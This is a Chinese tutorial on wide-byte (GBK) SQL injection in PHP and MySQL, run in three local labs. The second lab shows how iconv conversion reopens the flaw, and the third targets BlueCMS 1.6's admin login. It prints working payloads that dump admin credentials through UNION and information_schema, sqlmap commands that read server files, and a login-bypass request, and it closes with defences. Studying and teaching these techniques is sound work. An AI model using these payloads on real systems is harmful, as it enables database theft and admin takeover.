如何深度分析宽字节sql注入

基本概念

  1. 字节是相对于ascII这样单字节而言的;像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节

  2. GBK是一种多字符的编码,通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节

  3. 转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种是配置magic_quote_gpc,不过PHP高版本已经移除此功能

宽字节注入

先了解下SQL的执行过程:

1.以php客户端为例,使用者输入数据后,会通过php的默认编码生成sql语句发送给服务器。

在php没有开启default_charset编码时,php的默认编码为空

如何深度分析宽字节sql注入

此时php会根据数据库中的编码自动来确定使用那种编码,可以使用<?php $m="字"; echo strlen($m); 来进行判断,如果输出的值是3说明是utf-8编码;

如何深度分析宽字节sql注入

如果输出的值是2说明是gbk编码;

如何深度分析宽字节sql注入

2.服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后,然后使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。

如何深度分析宽字节sql注入

3.进行内部操作前,将请求按照如下规则转化成内部操作字符集,如下:

3.1 使用字段 CHARACTER SET 设定值;

3.2 若上述值不存在,使用对应数据表的DEFAULT CHARACTER SET设定值;

如何深度分析宽字节sql注入

3.3 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

如何深度分析宽字节sql注入

3.4 若上述值不存在,则使用character_set_server设定值。

4.执行完 SQL 语句之后,将执行结果按照 character_set_results 编码进行输出。


宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击

如何深度分析宽字节sql注入


宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码

以下是数据的变化过程:

%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

环境搭建及分析


实验1
  1. 为了方便演示该注入的过程,搭建一下环境

  2. 链接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ 密码:ykve

  3. 数据库名为test,数据库的编码全部为gdk

如何深度分析宽字节sql注入

简单的源码


/*

Title:宽字节注入
*/
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."执行的sql语句是:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>宽字节测试</title>
<meta charset="utf-8"/>
</head>
<body>
<form action="test.php" method="get">
<b>请输入值:</b> <input type="text" name="id"/>
</form>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>n";
mysql_free_result($result);
?>
</body>
</html>

加上echo "<br>"."执行的sql语句是:".$sql."<br>"这句话,可以清楚的查看sql语句的变化过程。sql语句是SELECT * FROM news WHERE tid='{$id}根据id从数据库表中获取信息。

细节分析

单纯加上单引号没有报错,说明addslashes函数发挥了作用,将' --> ',这样就不会存在注入了。

如何深度分析宽字节sql注入

此时,在单引号前面加上前面讲的%df,是mysql认为%df是一个汉字,这样’就可以逃逸出来,使tid = ‘1’闭合。

如何深度分析宽字节sql注入

这时候,按说是可以构造查询语句了,可是为什么还在报错呢,因为tid=’1’后面的’没有闭合,需要使用注释符号(– ‘或#)将这个多余的’注释掉,这样就可以构造注入语句了。

如何深度分析宽字节sql注入

下面就可以按照手动注入的思路进行数据的获取了。

确定表的字段数

由于接下来要采用union探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同; ‘order by 1’代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。


http://127.0.0.1/index.php?id=1 %df' order by 4 -- '

如何深度分析宽字节sql注入

可知一共有3个字段

确定字段的显示位

显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; ‘union select 1,2,3 — ‘ 通过显示的数字可以判断那些字段可以显示出来。


http://127.0.0.1/index.php?id=-1 %df' union select 1,2,3 -- '

如何深度分析宽字节sql注入

id的值要用-1或者该表中没有用过的id值,否则测试值会被覆盖。

获取当前数据库信息

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用:group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示) database()函数:查看当前数据库名称 version()函数:查看数据库版本信息 user():返回当前数据库连接使用的用户 char():将十进制ASCII码转化成字符


http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(database()) -- '

如何深度分析宽字节sql注入

当前数据库名为’test’。

获取test数据库中的表信息

Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入


http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=0x74657374 -- '

如何深度分析宽字节sql注入

由于存在addslashes转义了单引号,如果在table_schema中继续使用单引号包裹数据库名字,就会报错,这时候需要使用十六进制编码来避免这个问题。

获取admin表的字段

column_name表示获取字段名


http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(column_name)
from information_schema.columns where table_name=0x61646d696e -- '

如何深度分析宽字节sql注入

table_name需要使用十六进制编码

获取admin表的数据


http://127.0.0.1/index.php?id=-1 %df' union select 1,2,concat(name,char(58),pass) from admin -- '

如何深度分析宽字节sql注入

数据获取到了,可以更深入一下,比如进行文件的读取,提权等操作。

获取当前用户信息

此次会用到工具SQLMAP,sqlmap是一个SQL注入工具。此一具在业界称为神器。sqlmap是用python语言编写,如果想对工具详细了解,请到官网了解。

下载和使用

  • http://sqlmap.org/

  • http://blog.csdn.net/whatday/article/details/54766536

本实验用到sqlmap,以下是用sqlmap工具操作。使用sqlmap工具第一步猜用户


python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --current-user

如何深度分析宽字节sql注入

看到是root用户,可以更方便的搞事情了。

读服务器中的文件

sqlmap 中--file-read参数,可以读取服务器端任意文件


python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --file-read="./index.php"

如何深度分析宽字节sql注入

已经将文件保存到了本地/root/.sqlmap/output/127.0.0.1/files文件夹下

正常思路,接下来可以进行提权了,由于该环境是搭建在windows下的,使用--file-write参数进行写文件的操作不能执行,这里就不做演示了。

实验2
  1. 为了方便演示该注入的过程,搭建一下环境

  2. 链接:https://pan.baidu.com/s/1WC4D-3o-A7uYAi8w_yQ7sA 密码:sbwy

  3. 数据库名为test,数据库的编码全部为gdk

如何深度分析宽字节sql注入

4.将index.php放到phpStudy的WWW目录下,将test.sql文件导入到数据库中即可

源码


/*
Team:红日安全团队
团队成员:CPR
Title:宽字节注入
*/
<?php
//连接数据库部分,注意使用了gbk编码
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id = iconv('utf-8', 'gbk', $id);
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."sql:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>gbk change utf-8</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>n";
mysql_free_result($result);
?>
</body>
</html>

同样也试用了 addslashes转义,然后使用iconv进行转码,由utf-8 –>gbk

细节分析

为了避免宽字节注入,很多人使用iconv函数(能够完成各种字符集间的转换$text=iconv("UTF-8","GBK",$text);),其实这样做是有很大风险的,仍旧可以造成宽字节注入。

可以使用逆向思维,先找一个gbk的汉字,錦的utf-8编码是0xe98ca6,它的gbk编码是0xe55c,是不是已经看出来了,当传入的值是錦''通过addslashes转义为'(%5c%27),通过icov转换为%e5%5c,终止变为了%e5%5c%5c%27,不难看出%5c%5c正好把反斜杠转义,使单引号逃逸,造成注入。

按照实验1的思路,可以执行宽字节注入

如何深度分析宽字节sql注入

出现报错信息,说明存在宽字节注入。

如何深度分析宽字节sql注入

%5c%5c正好把反斜杠转义,使单引号逃逸

如何深度分析宽字节sql注入

获取到数据信息(这里的sql注入方法和实验1一样,读者可以自己尝试练习)

实验3

bluecms 1.6 版本存在宽字节注入,环境源码:

链接:https://pan.baidu.com/s/11PQqPdopA9bkLBY9gYrpqA 密码:ek6o

漏洞复现

该cms的宽字节注入漏洞存在于http://127.0.0.1/bluecmsv1.6/uploads/admin/index.php.此地址是我们的安装地址,如果是在本地搭建,需要根据你的本地地址和路径来进行判断。

为了更好演示效果,我们进行如下安装。首先根据上面提示的下载地址进行下载源码。

将整个bluecms文件放到phpStudy的WWW目录下,浏览器访问url/bluecms/uploads/install 根据提示进行安装。

如何深度分析宽字节sql注入

打勾继续即可

如何深度分析宽字节sql注入

这一步一定要根据自己的本地数据库信息进行配置,否则会失败。

配置好后,下一步会进行安装,稍微一等,就安装完成了。

访问http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login 进入存在注入的页面。

在管理员界面输入登录信息:

如何深度分析宽字节sql注入

使用burp suit 进行抓包:


POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
Cookie: PHPSESSID=om57mhu92141dqc3hn8ajce8q1
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

admin_name=admin&admin_pwd=123&submit=%B5%C7%C2%BC&act=do_login

admin_name就是注入点,可以实现万能密码登录(具体的溯源请看细节分析部分)

构造payload


POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

admin_name=admin %df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login

成功登录后台

如何深度分析宽字节sql注入

可以看到宽字节显示的汉字‘運’

细节分析

看下管理员登录界面的源码admin/login.php


define('IN_BLUE', true);

require_once(dirname(__FILE__) . '/include/common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'login';

if($act == 'login'){
if($_SESSION['admin_id']){
showmsg('您已登录,不用再次登录', 'index.php');
}
template_assign('current_act', '登录');
$smarty->display('login.htm');
}
...

在第二行可以看到包含了/include/common.inc.php文件,跟进一下


require_once(BLUE_ROOT.'include/mysql.class.php');

$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);

第一行包含了include/mysql.class.php文件,第二行实例化mysql对象,继续跟进mysql.class.php


function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
}
}
}
...

/include/common.inc.php文件中的mysql实例化对象,调用了这个mysql类,将数据库的连接信息进行封装,重点关注下mysql_query( "SET NAMES gbk");这一句,使三个字符集(客户端、连接层、结果集)都是GBK编码,经过前面的讲解可以知道gbk是双字节,如果再使用了addslashes()等前面所说的函数进行转义操作,那么一定可以触发宽字节注入

回到common.inc.php,看到


if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

如果没有开启get_magic_quotes_gpc(),则会对各种请求数据使deep_addslashes()进行过滤,跟进下这个函数,在common.fun.php文件中


function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

不管是数组还是字符串都会调用addslashes()函数进行字符的转义

至此可以确定能触发宽字节注入

sql语句分析

前面已经构造了payload,现在看一看完整的sql语句

admin/login.php源码


if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
...

check_admin()函数使用了输入的用户名和密码,跟进一下

该函数在include/common.fun.php文件中


function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
...

正常的sql语句


SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='$name' and pwd = md5('$pwd')

当从blue_admin表中查到admin的信息,num的值就会大于零,这样就可以登录成功

含有payload的sql语句


SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')

登录后台管理,可以寻找上传点,或者利用已知的漏洞,从而getshell,进而控制整个服务器。

漏洞防御

  1. 使用mysql_set_charset(GBK)指定字符集


SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
  1. 使用mysql_real_escape_string进行转义


mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题

以上两个条件需要同时满足才行,缺一不可。

关于如何深度分析宽字节sql注入问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

文章标题:如何深度分析宽字节sql注入,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/27611

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年9月21日 上午12:04
下一篇 2022年9月21日 上午12:06

相关推荐

  • 如何分析Web渗透信息

    信息收集主要是收集服务器的配置信息和网站的敏感信息,主要包括域名信息、子域名信息、目标网站信息、目标网站真实IP、目录文件、开放端口和服务、中间件信息、脚本语言等等等。结合各路大佬的收集经验,菜鸟总结了8种信息收集的方式,有不足之处,欢迎赐教,欢迎斧正。个人感觉重点是顺手的工具、有IP代理池、日常收…

    2022年9月24日
    6500
  • Vue.js 前端路由和异步组件是什么

    目录 文章目标 P6 P6+ ~ P7 一、背景 二、前端路由特性 三、面试!!! 四、Hash 原理及实现 1、特性 2、如何更改 hash 3、手动实现一个基于 hash 的路由 五、History 原理及实现 1、HTML5 History 常用的 API 2、pushState/replac…

    2022年9月13日
    6000
  • mysql和myisam有哪些区别

    mysql和myisam的区别是:mysql是一个关系型数据库管理系统,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据,而myisam是mysql的默认数据库引擎(5.5版之前),并且不支持事务处理。 本教程操作环境:windows10系统、mysql8.0.22…

    2022年8月27日
    3900
  • mysql如何将日期转为数字

    2种将日期转为数字的方法:1、使用TO_DAYS()函数,可以将指定日期值转为代表天数的整数值,语法“TO_DAYS(指定日期值)”。2、使用TIME_TO_SEC()函数,可以将指定日期时间值转为代表秒数的整数值,语法“TIME_TO_SEC(指定日期时间值)”。 本教程操作环境:windows7…

    2022年9月21日
    8300
  • LDAP NULL bind导致登录绕过漏洞分析和修复方案是什么

    LDAP NULL bind匿名绑定导致登录绕过漏洞分析和修复方案 一、背景 1.1LDAP和认证过程 LDAP轻型目录访问协议是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。有优异的读性能,但写性能差。 LDAP作为开放的Internet标准,支持跨平…

    2022年9月13日
    12100
  • MyBatisPlus QueryWrapper多条件查询及修改方法是什么

    gt、ge、lt、le、isNull、isNotNull 大于 > 例: gt(“age”, 18) &rarr; age > 18 ge 大于等于 >= 例: ge(“age”, 18) &rarr; age &gt…

    2022年9月21日
    32900
  • transform在CSS中的含义是什么

    在CSS中,transform的意思为改变、变形,主要用于设置元素的形状改变,实现元素的2D或3D转换;该属性可以配合属性值(转换函数)来对将元素进行旋转rotate、扭曲skew、缩放scale、移动translate以及矩阵变形matrix。 本教程操作环境:windows7系统、CSS3&am…

    2022年9月22日
    6300
  • App崩溃的6个常见原因是什么

    人们讨厌应用程序崩溃,尤其是是程序减速或卡死几秒钟这样的现象。根据Dimensional Research的一项调查,61%的用户希望程序在4秒内启动,而49%的用户希望在2秒内响应输入。 如果应用发生崩溃,冻结或报错等现象,53%的用户会将APP卸载。 无论您的对象是消费者还是企业,崩溃问题会令他…

    2022年9月2日
    31900
  • python如何实现重置递归限制

    重置递归限制 Python 限制递归次数到 1000,我们可以重置这个值: import sysx=1001print(sys.getrecursionlimit())sys.setrecursionlimit(x)print(sys.getrecursionlimit())#1-> 1000…

    2022年8月30日
    5400
  • ai如何转曲文件

    ai转曲文件的方法: 1、首先双击桌面的ai软件,然后打开。 2、之后去点击任务选项栏中的“选择”。 3、点击弹出菜单中的“全部”。 4、之后点击任务选项中的“文字”。 5、点击文字下面的“创建轮廓”即可。 以上就是“ai如何转曲文件”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很…

    2022年9月1日
    7600
联系我们
关注微信
关注微信
分享本页
返回顶部
PingCode 比 Jira 更好用的研发管理工具。免费试用